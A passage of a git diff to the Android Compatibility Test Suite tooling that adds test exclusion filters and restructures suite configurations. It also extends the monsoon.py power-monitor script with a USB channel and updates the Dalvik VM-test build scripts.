- <option name="compatibility:exclude-filter" value="CtsKeystoreTestCases android.keystore.cts.KeyAttestationTest#testEcAttestation" />
- <option name="compatibility:exclude-filter" value="CtsKeystoreTestCases android.keystore.cts.KeyAttestationTest#testRsaAttestation" />
-
- <!-- Exclude test cases for b/64488375
- -->
-
- <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testVoiceCommand" />
- <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testVoiceSearchHandsFree" />
-
- <option name="compatibility:exclude-filter" value="CtsJobSchedulerTestCases android.jobscheduler.cts.ConnectivityConstraintTest#testConnectivityConstraintExecutes_metered" />
-
- <option name="compatibility:exclude-filter" value="CtsNetTestCasesLegacyApi22 android.net.cts.legacy.api22.ConnectivityManagerLegacyTest#testStartUsingNetworkFeature_enableHipri" />
-
- <option name="compatibility:exclude-filter" value="CtsPermissionTestCases android.permission.cts.NoSystemFunctionPermissionTest#testSendSms" />
-
- <option name="compatibility:exclude-filter" value="CtsPermission2TestCases android.permission2.cts.NoReceiveSmsPermissionTest#testAppSpecificSmsToken" />
- <option name="compatibility:exclude-filter" value="CtsPermission2TestCases android.permission2.cts.NoReceiveSmsPermissionTest#testReceiveTextMessage" />
- <option name="compatibility:exclude-filter" value="CtsPermission2TestCases android.permission2.cts.PrivappPermissionsTest#testPrivappPermissionsEnforcement" />
-
- <option name="compatibility:exclude-filter" value="CtsSecurityHostTestCases android.security.cts.SELinuxHostTest#testNoExemptionsForBinderInVendorBan" />
- <option name="compatibility:exclude-filter" value="CtsSecurityHostTestCases android.security.cts.SELinuxHostTest#testNoExemptionsForSocketsBetweenCoreAndVendorBan" />
- <option name="compatibility:exclude-filter" value="CtsSecurityHostTestCases android.security.cts.SELinuxHostTest#testNoExemptionsForVendorExecutingCore" />
-
- <option name="compatibility:exclude-filter" value="CtsContentTestCases android.signature.cts.IntentTest#shouldNotFindUnexpectedIntents" />
-
- <option name="compatibility:exclude-filter" value="CtsTextTestCases android.text.cts.EmojiTest#testEmojiGlyph" />
- <option name="compatibility:exclude-filter" value="CtsTextTestCases android.text.util.cts.LinkifyTest#testAddLinks_doesNotAddLinksForUrlWithoutProtocolAndWithoutKnownTld" />
-
- <option name="compatibility:exclude-filter" value="CtsUiRenderingTestCases android.uirendering.cts.testclasses.PathClippingTests#testWebViewClipWithCircle" />
-
- <option name="compatibility:exclude-filter" value="CtsWebkitTestCases android.webkit.cts.WebViewClientTest#testOnUnhandledKeyEvent" />
- <option name="compatibility:exclude-filter" value="CtsWebkitTestCases android.webkit.cts.WebViewTest#testFindAll" />
- <option name="compatibility:exclude-filter" value="CtsWebkitTestCases android.webkit.cts.WebViewTest#testFindNext" />
- <option name="compatibility:exclude-filter" value="CtsWebkitTestCases android.webkit.cts.WebViewTest#testFlingScroll" />
- <option name="compatibility:exclude-filter" value="CtsWebkitTestCases android.webkit.cts.WebViewTest#testGetContentHeight" />
- <option name="compatibility:exclude-filter" value="CtsWebkitTestCases android.webkit.cts.WebViewTest#testGetHitTestResult" />
- <option name="compatibility:exclude-filter" value="CtsWebkitTestCases android.webkit.cts.WebViewTest#testPageScroll" />
- <option name="compatibility:exclude-filter" value="CtsWebkitTestCases android.webkit.cts.WebViewTest#testRequestFocusNodeHref" />
- <option name="compatibility:exclude-filter" value="CtsWebkitTestCases android.webkit.cts.WebViewTest#testRequestImageRef" />
-
- <!-- Excluded till b/64841751 is fixed
- -->
- <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testAppDetails" />
- <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testAppSummary" />
- <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testAppCallback" />
- <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testDeviceSummary" />
- <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testTagDetails" />
- <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testUidDetails" />
- <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testUserSummary" />
-
- <!-- Not related to Treble
- -->
- <option name="compatibility:exclude-filter" value="CtsCarrierApiTestCases android.carrierapi.cts.CarrierApiTest#testSimCardPresent" />
- <option name="compatibility:exclude-filter" value="CtsCarrierApiTestCases android.carrierapi.cts.CarrierApiTest#testGetIccAuthentication" />
- <option name="compatibility:exclude-filter" value="CtsCarrierApiTestCases android.carrierapi.cts.CarrierApiTest#testHasCarrierPrivileges" />
- <option name="compatibility:exclude-filter" value="CtsCarrierApiTestCases android.carrierapi.cts.CarrierApiTest#testSendDialerSpecialCode" />
-
- <!-- b/68190722: Remove testcases that require RRO which is planned for Pi -->
- <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.ActionBarTest#testOpenOptionsMenu" />
- <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.ActionBarTest#testOptionsMenuKey" />
- <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.ActivityKeyboardShortcutsTest#testRequestShowKeyboardShortcuts" />
-
- <!-- b/69072351: Internal bug in the "Freeform" feature of ActivityManager -->
- <option name="compatibility:exclude-filter" value="CtsServicesHostTestCases android.server.cts.ActivityManagerFreeformStackTests#testFreeformWindowManagementSupport" />
-
- <!-- b/69131975: Exclude android.jni.cts.JniStaticTest#test_linker_namespaces -->
- <option name="compatibility:exclude-filter" value="CtsJniTestCases android.jni.cts.JniStaticTest#test_linker_namespaces" />
-
- <!-- b/65561379: Exclude android.media.cts.MediaPlayerFlakyNetworkTest -->
- <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.MediaPlayerFlakyNetworkTest" />
-
- <!-- b/69720253: GSI uses launcher2 in O -->
- <option name="compatibility:exclude-filter" value="CtsJankDeviceTestCases android.jank.cts.ui.CtsDeviceJankUi#testScrolling" />
-
- <!-- b/119292624: (reference-on-aosp) 8.0_r13 - waiver request for CtsAppSecurityHostTestCases -->
- <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.DirectBootHostTest#testDirectBootNone" />
-</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-suite.xml b/tools/cts-tradefed/res/config/cts-suite.xml
index dcab342..f2672ec 100644
--- a/tools/cts-tradefed/res/config/cts-suite.xml
+++ b/tools/cts-tradefed/res/config/cts-suite.xml
@@ -28,6 +28,7 @@
<include name="cts-preconditions" />
<include name="cts-system-checkers" />
<include name="cts-known-failures" />
+ <include name="cts-exclude" />
<option name="plan" value="cts-suite" />
<option name="test-tag" value="cts-suite" />
@@ -38,6 +39,11 @@
<!-- retain 200MB of logcat -->
<option name="max-tmp-logcat-file" value="209715200" />
+ <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+ <option name="run-command" value="settings put global package_verifier_enable 0" />
+ <option name="teardown-command" value="settings put global package_verifier_enable 1"/>
+ </target_preparer>
+
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.PropertyCheck">
<option name="property-name" value="ro.build.type" />
<option name="expected-value" value="user"/> <!-- Device should have user build -->
diff --git a/tools/cts-tradefed/res/config/cts-vendor-interface.xml b/tools/cts-tradefed/res/config/cts-vendor-interface.xml
deleted file mode 100644
index 73ec49b..0000000
--- a/tools/cts-tradefed/res/config/cts-vendor-interface.xml
+++ /dev/null
@@ -1,70 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2016 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-<configuration description="Runs a subset of CTS tests that can heavily exercise HALs">
-
- <include name="cts" />
-
- <option name="plan" value="cts-vendor-interface" />
-
- <!-- Include test modules -->
- <option name="compatibility:include-filter" value="CtsAadbHostTestCases" />
- <option name="compatibility:include-filter" value="CtsAccessibilityServiceTestCases" />
- <option name="compatibility:include-filter" value="CtsAccountManagerTestCases" />
- <option name="compatibility:include-filter" value="CtsAnimationTestCases" />
- <option name="compatibility:include-filter" value="CtsAppTestCases" />
- <option name="compatibility:include-filter" value="CtsAtraceHostTestCases" />
- <option name="compatibility:include-filter" value="CtsAutoFillServiceTestCases" />
- <option name="compatibility:include-filter" value="CtsCameraTestCases" />
- <option name="compatibility:include-filter" value="CtsContentTestCases" />
- <option name="compatibility:include-filter" value="CtsDeqpTestCases" />
- <option name="compatibility:include-filter" value="CtsFragmentTestCases" />
- <option name="compatibility:include-filter" value="CtsGraphicsTestCases" />
- <option name="compatibility:include-filter" value="CtsHostsideNetworkTests" />
- <option name="compatibility:include-filter" value="CtsIcuTestCases" />
- <option name="compatibility:include-filter" value="CtsKeystoreTestCases" />
- <option name="compatibility:include-filter" value="CtsLibcoreJavaUtilCollectionsTestCases" />
- <option name="compatibility:include-filter" value="CtsLibcoreOjTestCases" />
- <option name="compatibility:include-filter" value="CtsLibcoreTestCases" />
- <option name="compatibility:include-filter" value="CtsLocationTestCases" />
- <option name="compatibility:include-filter" value="CtsMediaStressTestCases" />
- <option name="compatibility:include-filter" value="CtsMidiTestCases" />
- <option name="compatibility:include-filter" value="CtsMonkeyTestCases" />
- <option name="compatibility:include-filter" value="CtsNetTestCases" />
- <option name="compatibility:include-filter" value="CtsOsTestCases" />
- <option name="compatibility:include-filter" value="CtsPdfTestCases" />
- <option name="compatibility:include-filter" value="CtsPreference2TestCases" />
- <option name="compatibility:include-filter" value="CtsPrintTestCases" />
- <option name="compatibility:include-filter" value="CtsProviderTestCases" />
- <option name="compatibility:include-filter" value="CtsRsBlasTestCases" />
- <option name="compatibility:include-filter" value="CtsSecurityHostTestCases" />
- <option name="compatibility:include-filter" value="CtsSecurityTestCases" />
- <option name="compatibility:include-filter" value="CtsSensorTestCases" />
- <option name="compatibility:include-filter" value="CtsShortcutHostTestCases" />
- <option name="compatibility:include-filter" value="CtsSignatureTestCases" />
- <option name="compatibility:include-filter" value="CtsSignatureTestCases" />
- <option name="compatibility:include-filter" value="CtsSustainedPerformanceHostTestCases" />
- <option name="compatibility:include-filter" value="CtsTelephonyTestCases" />
- <option name="compatibility:include-filter" value="CtsTextTestCases" />
- <option name="compatibility:include-filter" value="CtsUiRenderingTestCases" />
- <option name="compatibility:include-filter" value="CtsViewTestCases" />
- <option name="compatibility:include-filter" value="CtsWebkitTestCases" />
- <option name="compatibility:include-filter" value="CtsWidgetTestCases" />
- <option name="compatibility:include-filter" value="CtsWindowManagerHostTestCases" />
-
- <option name="compatibility:test-arg" value="com.android.tradefed.testtype.AndroidJUnitTest:include-annotation:com.android.compatibility.common.util.VendorInterfaceTest" />
- <option name="compatibility:test-arg" value="com.android.compatibility.common.tradefed.testtype.JarHostTest:include-annotation:com.android.compatibility.common.util.VendorInterfaceTest" />
-
-</configuration>
diff --git a/tools/cts-tradefed/res/config/cts.xml b/tools/cts-tradefed/res/config/cts.xml
index 818004d..9022a41 100644
--- a/tools/cts-tradefed/res/config/cts.xml
+++ b/tools/cts-tradefed/res/config/cts.xml
@@ -15,39 +15,9 @@
-->
<configuration description="Runs CTS from a pre-existing CTS installation">
- <include name="everything" />
- <include name="cts-preconditions" />
- <include name="cts-system-checkers" />
- <include name="cts-known-failures" />
+ <include name="cts-common" />
+ <include name="cts-exclude" />
<option name="plan" value="cts" />
- <option name="test-tag" value="cts" />
-
- <option name="enable-root" value="false" />
- <!-- retain 200MB of host log -->
- <option name="max-log-size" value="200" />
- <!-- retain 200MB of logcat -->
- <option name="max-tmp-logcat-file" value="209715200" />
-
- <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
- <option name="run-command" value="settings put global package_verifier_enable 0" />
- <option name="teardown-command" value="settings put global package_verifier_enable 1"/>
- </target_preparer>
-
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.PropertyCheck">
- <option name="property-name" value="ro.build.type" />
- <option name="expected-value" value="user"/> <!-- Device should have user build -->
- <option name="throw-error" value="false"/> <!-- Only print warning if not user build -->
- </target_preparer>
-
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.PropertyCheck">
- <option name="property-name" value="ro.product.locale" />
- <option name="expected-value" value="en-US"/> <!-- Device locale should be US English -->
- <option name="throw-error" value="false"/> <!-- Only print warning if not en-US -->
- </target_preparer>
- <template-include name="reporters" default="basic-reporters" />
-
- <!-- Include additional test metadata output. -->
- <template-include name="metadata-reporters" default="empty" />
</configuration>
diff --git a/tools/cts-tradefed/res/config/retry.xml b/tools/cts-tradefed/res/config/retry.xml
index c4a7ced..cbecada 100644
--- a/tools/cts-tradefed/res/config/retry.xml
+++ b/tools/cts-tradefed/res/config/retry.xml
@@ -25,6 +25,7 @@
<include name="cts-preconditions" />
<include name="cts-system-checkers" />
<include name="cts-known-failures" />
+ <include name="cts-exclude" />
<option name="plan" value="cts-retry" />
<option name="test-tag" value="cts" />
diff --git a/tools/selinux/SELinuxNeverallowTestFrame.py b/tools/selinux/SELinuxNeverallowTestFrame.py
index f84f2ec..20e1ed4 100644
--- a/tools/selinux/SELinuxNeverallowTestFrame.py
+++ b/tools/selinux/SELinuxNeverallowTestFrame.py
@@ -68,10 +68,7 @@
sepolicyAnalyze = buildHelper.getTestFile("sepolicy-analyze");
sepolicyAnalyze.setExecutable(true);
- /* obtain sepolicy file from running device */
- devicePolicyFile = File.createTempFile("sepolicy", ".tmp");
- devicePolicyFile.deleteOnExit();
- mDevice.pullFile("/sys/fs/selinux/policy", devicePolicyFile);
+ devicePolicyFile = android.security.cts.SELinuxHostTest.getDevicePolicyFile(mDevice);
}
private boolean isFullTrebleDevice() throws Exception {
diff --git a/tools/utils/java-cert-list-generator.sh b/tools/utils/java-cert-list-generator.sh
index 33e9aaa..3b09f86 100755
--- a/tools/utils/java-cert-list-generator.sh
+++ b/tools/utils/java-cert-list-generator.sh
@@ -40,12 +40,14 @@
*/
package android.security.cts;
+import android.platform.test.annotations.SecurityTest;
/**
* Run "./cts/tools/utils/java-cert-list-generator.sh >
* cts/tests/tests/security/src/android/security/cts/CertificateData.java"
* to generate this file.
*/
+@SecurityTest
class CertificateData {
static final String[] CERTIFICATE_DATA = {
STARTCLASS
diff --git a/tools/utils/monsoon.py b/tools/utils/monsoon.py
index f3d63c5..6efaf98 100755
--- a/tools/utils/monsoon.py
+++ b/tools/utils/monsoon.py
@@ -1,4 +1,4 @@
-#!/usr/bin/python2.6
+#!/usr/bin/env python
# Copyright (C) 2014 The Android Open Source Project
#
@@ -23,16 +23,25 @@
Example usages:
Set the voltage of the device 7536 to 4.0V
- python2.6 monsoon.py --voltage=4.0 --serialno 7536
+ python monsoon.py --voltage=4.0 --serialno 7536
Get 5000hz data from device number 7536, with unlimited number of samples
- python2.6 monsoon.py --samples -1 --hz 5000 --serialno 7536
+ python monsoon.py --samples -1 --hz 5000 --serialno 7536
Get 200Hz data for 5 seconds (1000 events) from default device
- python2.6 monsoon.py --samples 100 --hz 200
+ python monsoon.py --samples 100 --hz 200
Get unlimited 200Hz data from device attached at /dev/ttyACM0
- python2.6 monsoon.py --samples -1 --hz 200 --device /dev/ttyACM0
+ python monsoon.py --samples -1 --hz 200 --device /dev/ttyACM0
+
+Output columns for collection with --samples, separated by space:
+
+ TIMESTAMP OUTPUT OUTPUT_AVG USB USB_AVG
+ | | | |
+ | | | ` (if --includeusb and --avg)
+ | | ` (if --includeusb)
+ | ` (if --avg)
+ ` (if --timestamp)
"""
import fcntl
@@ -232,13 +241,18 @@
print >>sys.stderr, "waiting for calibration, dropped data packet"
continue
- out = []
- for main, usb, aux, voltage in data:
- if main & 1:
- out.append(((main & ~1) - self._coarse_zero) * self._coarse_scale)
+ def scale(val):
+ if val & 1:
+ return ((val & ~1) - self._coarse_zero) * self._coarse_scale
else:
- out.append((main - self._fine_zero) * self._fine_scale)
- return out
+ return (val - self._fine_zero) * self._fine_scale
+
+ out_main = []
+ out_usb = []
+ for main, usb, aux, voltage in data:
+ out_main.append(scale(main))
+ out_usb.append(scale(usb))
+ return (out_main, out_usb)
elif type == 1:
self._fine_zero = data[0][0]
@@ -317,6 +331,11 @@
print FLAGS.MainModuleHelp()
return
+ if FLAGS.includeusb:
+ num_channels = 2
+ else:
+ num_channels = 1
+
if FLAGS.avg and FLAGS.avg < 0:
print "--avg must be greater than 0"
return
@@ -359,39 +378,50 @@
# 'offset' = (consumed samples) * FLAGS.hz - (emitted samples) * native_hz
# This is the error accumulator in a variation of Bresenham's algorithm.
emitted = offset = 0
- collected = []
- history_deque = collections.deque() # past n samples for rolling average
+ chan_buffers = tuple([] for _ in range(num_channels))
+ # past n samples for rolling average
+ history_deques = tuple(collections.deque() for _ in range(num_channels))
try:
last_flush = time.time()
while emitted < FLAGS.samples or FLAGS.samples == -1:
# The number of raw samples to consume before emitting the next output
need = (native_hz - offset + FLAGS.hz - 1) / FLAGS.hz
- if need > len(collected): # still need more input samples
- samples = mon.CollectData()
- if not samples: break
- collected.extend(samples)
+ if need > len(chan_buffers[0]): # still need more input samples
+ chans_samples = mon.CollectData()
+ if not all(chans_samples): break
+ for chan_buffer, chan_samples in zip(chan_buffers, chans_samples):
+ chan_buffer.extend(chan_samples)
else:
# Have enough data, generate output samples.
# Adjust for consuming 'need' input samples.
offset += need * FLAGS.hz
while offset >= native_hz: # maybe multiple, if FLAGS.hz > native_hz
- this_sample = sum(collected[:need]) / need
+ this_sample = [sum(chan[:need]) / need for chan in chan_buffers]
if FLAGS.timestamp: print int(time.time()),
if FLAGS.avg:
- history_deque.appendleft(this_sample)
- if len(history_deque) > FLAGS.avg: history_deque.pop()
- print "%f %f" % (this_sample,
- sum(history_deque) / len(history_deque))
+ chan_avgs = []
+ for chan_deque, chan_sample in zip(history_deques, this_sample):
+ chan_deque.appendleft(chan_sample)
+ if len(chan_deque) > FLAGS.avg: chan_deque.pop()
+ chan_avgs.append(sum(chan_deque) / len(chan_deque))
+ # Interleave channel rolling avgs with latest channel data
+ data_to_print = [datum
+ for pair in zip(this_sample, chan_avgs)
+ for datum in pair]
else:
- print "%f" % this_sample
+ data_to_print = this_sample
+
+ fmt = ' '.join('%f' for _ in data_to_print)
+ print fmt % tuple(data_to_print)
+
sys.stdout.flush()
offset -= native_hz
emitted += 1 # adjust for emitting 1 output sample
- collected = collected[need:]
+ chan_buffers = tuple(c[need:] for c in chan_buffers)
now = time.time()
if now - last_flush >= 0.99: # flush every second
sys.stdout.flush()
@@ -410,7 +440,9 @@
flags.DEFINE_float("voltage", None, "Set output voltage (0 for off)")
flags.DEFINE_float("current", None, "Set max output current")
flags.DEFINE_string("usbpassthrough", None, "USB control (on, off, auto)")
- flags.DEFINE_integer("samples", None, "Collect and print this many samples")
+ flags.DEFINE_integer("samples", None,
+ "Collect and print this many samples. "
+ "-1 means collect indefinitely.")
flags.DEFINE_integer("hz", 5000, "Print this many samples/sec")
flags.DEFINE_string("device", None,
"Path to the device in /dev/... (ex:/dev/ttyACM1)")
@@ -418,5 +450,6 @@
flags.DEFINE_boolean("timestamp", None,
"Also print integer (seconds) timestamp on each line")
flags.DEFINE_boolean("ramp", True, "Gradually increase voltage")
+ flags.DEFINE_boolean("includeusb", False, "Include measurements from USB channel")
main(FLAGS(sys.argv))
diff --git a/tools/vm-tests-tf/Android.mk b/tools/vm-tests-tf/Android.mk
index d5811c3..c7d61e4 100644
--- a/tools/vm-tests-tf/Android.mk
+++ b/tools/vm-tests-tf/Android.mk
@@ -25,7 +25,7 @@
LOCAL_MODULE_CLASS := JAVA_LIBRARIES
LOCAL_MODULE_TAGS := optional
LOCAL_JAVA_LIBRARIES := junit
-
+-include cts/error_prone_rules_tests.mk
include $(BUILD_JAVA_LIBRARY)
cts-tf-dalvik-lib.jack := $(full_classes_jack)
@@ -68,11 +68,13 @@
LOCAL_MODULE_PATH := $(intermediates)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_SYSTEM)/base_rules.mk
-vmteststf_dep_jars := $(addprefix $(HOST_OUT_JAVA_LIBRARIES)/, cts-tf-dalvik-buildutil.jar dasm.jar dx.jar cfassembler.jar junit-host.jar)
+vmteststf_dep_jars := \
+ $(HOST_JDK_TOOLS_JAR) \
+ $(addprefix $(HOST_OUT_JAVA_LIBRARIES)/, cts-tf-dalvik-buildutil.jar dasm.jar dx.jar cfassembler.jar junit-host.jar)
$(LOCAL_BUILT_MODULE): PRIVATE_JACK_EXTRA_ARGS := $(LOCAL_JACK_EXTRA_ARGS)
@@ -86,7 +88,7 @@
$(LOCAL_BUILT_MODULE): PRIVATE_INTERMEDIATES_DEXCORE_JAR := $(intermediates)/tests/dot/junit/dexcore.jar
$(LOCAL_BUILT_MODULE): PRIVATE_INTERMEDIATES_MAIN_FILES := $(intermediates)/main_files
$(LOCAL_BUILT_MODULE): PRIVATE_INTERMEDIATES_HOSTJUNIT_FILES := $(intermediates)/hostjunit_files
-$(LOCAL_BUILT_MODULE): PRIVATE_CLASS_PATH := $(subst $(space),:,$(vmteststf_dep_jars)):$(HOST_JDK_TOOLS_JAR)
+$(LOCAL_BUILT_MODULE): PRIVATE_CLASS_PATH := $(call normalize-path-list, $(vmteststf_dep_jars))
$(LOCAL_BUILT_MODULE): PRIVATE_JACK_VERSION := $(LOCAL_JACK_VERSION)
ifndef LOCAL_JACK_ENABLED
$(LOCAL_BUILT_MODULE) : $(vmteststf_dep_jars) $(HOST_OUT_JAVA_LIBRARIES)/tradefed.jar
@@ -94,11 +96,13 @@
$(hide) mkdir -p $(PRIVATE_INTERMEDIATES_HOSTJUNIT_FILES)/dot/junit $(dir $(PRIVATE_INTERMEDIATES_DEXCORE_JAR))
# generated and compile the host side junit tests
@echo "Write generated Main_*.java files to $(PRIVATE_INTERMEDIATES_MAIN_FILES)"
- $(hide) java -cp $(PRIVATE_CLASS_PATH) util.build.BuildDalvikSuite $(PRIVATE_SRC_FOLDER) $(PRIVATE_INTERMEDIATES) \
+ $(hide) $(JAVA) \
+ $(if $(EXPERIMENTAL_USE_OPENJDK9),--add-exports jdk.jartool/sun.tools.jar=ALL-UNNAMED) \
+ -cp $(PRIVATE_CLASS_PATH) util.build.BuildDalvikSuite $(PRIVATE_SRC_FOLDER) $(PRIVATE_INTERMEDIATES) \
$(HOST_OUT_JAVA_LIBRARIES)/cts-tf-dalvik-buildutil.jar:$(HOST_OUT_JAVA_LIBRARIES)/tradefed.jar \
$(PRIVATE_INTERMEDIATES_MAIN_FILES) $(PRIVATE_INTERMEDIATES_CLASSES) $(PRIVATE_INTERMEDIATES_HOSTJUNIT_FILES) $$RUN_VM_TESTS_RTO
@echo "Generate $(PRIVATE_INTERMEDIATES_DEXCORE_JAR)"
- $(hide) jar -cf $(PRIVATE_INTERMEDIATES_DEXCORE_JAR).jar \
+ $(hide) $(JAR) -cf $(PRIVATE_INTERMEDIATES_DEXCORE_JAR).jar \
$(addprefix -C $(PRIVATE_INTERMEDIATES_CLASSES) , dot/junit/DxUtil.class dot/junit/DxAbstractMain.class)
$(hide) $(DX) -JXms16M -JXmx768M --dex --output=$(PRIVATE_INTERMEDIATES_DEXCORE_JAR) \
$(if $(NO_OPTIMIZE_DX), --no-optimize) $(PRIVATE_INTERMEDIATES_DEXCORE_JAR).jar && rm -f $(PRIVATE_INTERMEDIATES_DEXCORE_JAR).jar
@@ -113,11 +117,11 @@
$(hide) mkdir -p $(PRIVATE_INTERMEDIATES_HOSTJUNIT_FILES)/dot/junit $(dir $(PRIVATE_INTERMEDIATES_DEXCORE_JAR))
# generated and compile the host side junit tests
@echo "Write generated Main_*.java files to $(PRIVATE_INTERMEDIATES_MAIN_FILES)"
- $(hide) JACK_VERSION=$(PRIVATE_JACK_VERSION) java -cp $(PRIVATE_CLASS_PATH) util.build.JackBuildDalvikSuite $(JACK) $(PRIVATE_SRC_FOLDER) $(PRIVATE_INTERMEDIATES) \
+ $(hide) JACK_VERSION=$(PRIVATE_JACK_VERSION) $(JAVA) -cp $(PRIVATE_CLASS_PATH) util.build.JackBuildDalvikSuite $(JACK) $(PRIVATE_SRC_FOLDER) $(PRIVATE_INTERMEDIATES) \
$(PRIVATE_DALVIK_SUITE_CLASSPATH) \
$(PRIVATE_INTERMEDIATES_MAIN_FILES) $(PRIVATE_INTERMEDIATES_CLASSES) $(PRIVATE_INTERMEDIATES_HOSTJUNIT_FILES) $$RUN_VM_TESTS_RTO
@echo "Generate $(PRIVATE_INTERMEDIATES_DEXCORE_JAR)"
- $(hide) jar -cf $(PRIVATE_INTERMEDIATES_DEXCORE_JAR)-class.jar \
+ $(hide) $(JAR) -cf $(PRIVATE_INTERMEDIATES_DEXCORE_JAR)-class.jar \
$(addprefix -C $(PRIVATE_INTERMEDIATES_CLASSES) , dot/junit/DxUtil.class dot/junit/DxAbstractMain.class)
$(hide) $(call call-jack) --import $(PRIVATE_INTERMEDIATES_DEXCORE_JAR)-class.jar --output-jack $(PRIVATE_INTERMEDIATES_DEXCORE_JAR).jack
$(hide) mkdir -p $(PRIVATE_INTERMEDIATES_DEXCORE_JAR).tmp
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/Test_opc_throw.java b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/Test_opc_throw.java
index 7baf67d..df1e017 100644
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/Test_opc_throw.java
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/Test_opc_throw.java
@@ -47,10 +47,11 @@
T_opc_throw_2 t = new T_opc_throw_2();
try {
t.run();
- fail("must throw a Throwable");
} catch (Throwable e) {
// expected
+ return;
}
+ fail("must throw a Throwable");
}
/**
@@ -60,10 +61,11 @@
T_opc_throw_8 t = new T_opc_throw_8();
try {
t.run();
- fail("must throw a Error");
} catch (Error e) {
// expected
+ return;
}
+ fail("must throw a Error");
}
/**
diff --git a/tools/vm-tests-tf/src/util/build/BuildDalvikSuite.java b/tools/vm-tests-tf/src/util/build/BuildDalvikSuite.java
index 08b1e5f..187858c 100644
--- a/tools/vm-tests-tf/src/util/build/BuildDalvikSuite.java
+++ b/tools/vm-tests-tf/src/util/build/BuildDalvikSuite.java
@@ -34,6 +34,7 @@
import java.io.IOException;
import java.io.OutputStreamWriter;
import java.util.ArrayList;
+import java.util.Collection;
import java.util.Collections;
import java.util.Comparator;
import java.util.HashSet;
@@ -242,7 +243,7 @@
}
private String getShellExecJavaLine(String classpath, String mainclass) {
- String cmd = String.format("ANDROID_DATA=%s dalvikvm|#ABI#| -Xmx512M -Xss32K " +
+ String cmd = String.format("ANDROID_DATA=%s dalvikvm|#ABI#| -Xmx512M -Xss32K -Xnodex2oat " +
"-Djava.io.tmpdir=%s -classpath %s %s", TARGET_JAR_ROOT_PATH, TARGET_JAR_ROOT_PATH,
classpath, mainclass);
StringBuilder code = new StringBuilder();
@@ -261,7 +262,7 @@
}
private void addCTSHostMethod(String pName, String method, MethodData md,
- Set<String> dependentTestClassNames) {
+ Collection<String> dependentTestClassNames) {
curJunitFileData += "public void " + method + "() throws Exception {\n";
final String targetCoreJarPath = String.format("%s/dot/junit/dexcore.jar",
TARGET_JAR_ROOT_PATH);
@@ -344,7 +345,7 @@
MethodData md = parseTestMethod(pName, classOnlyName, method);
String methodContent = md.methodBody;
- Set<String> dependentTestClassNames = parseTestClassName(pName,
+ List<String> dependentTestClassNames = parseTestClassName(pName,
classOnlyName, methodContent);
addCTSHostMethod(pName, method, md, dependentTestClassNames);
@@ -490,7 +491,7 @@
}
private void generateBuildStepFor(String pName, String method,
- Set<String> dependentTestClassNames, Set<BuildStep> targets) {
+ Collection<String> dependentTestClassNames, Set<BuildStep> targets) {
for (String dependentTestClassName : dependentTestClassNames) {
@@ -640,9 +641,9 @@
* @param methodSource
* @return testclass names
*/
- private Set<String> parseTestClassName(String pName, String classOnlyName,
+ private List<String> parseTestClassName(String pName, String classOnlyName,
String methodSource) {
- Set<String> entries = new HashSet<String>();
+ List<String> entries = new ArrayList<String>(2);
String opcodeName = classOnlyName.substring(5);
Scanner scanner = new Scanner(methodSource);
@@ -673,7 +674,7 @@
Matcher m = p.matcher(methodSource);
while (m.find()) {
String res = m.group(1);
- entries.add(res.trim());
+ entries.add(0, res.trim());
}
// search for " load(\"...\" " and add as dependency
diff --git a/tools/vm-tests-tf/src/util/build/JarBuildStep.java b/tools/vm-tests-tf/src/util/build/JarBuildStep.java
index 776e905..7fbe2d5 100644
--- a/tools/vm-tests-tf/src/util/build/JarBuildStep.java
+++ b/tools/vm-tests-tf/src/util/build/JarBuildStep.java
@@ -16,28 +16,36 @@
package util.build;
-import sun.tools.jar.Main;
-
+import java.io.BufferedInputStream;
import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
import java.io.IOException;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.Paths;
+import java.util.jar.JarEntry;
+import java.util.jar.JarOutputStream;
-
+/**
+ * JarBuildStep takes a single input file and embeds it into a (new) jar file as a single entry.
+ */
public class JarBuildStep extends BuildStep {
- String destFileName;
+ String outputJarEntryName;
private final boolean deleteInputFileAfterBuild;
- public JarBuildStep(BuildFile inputFile, String destFileName,
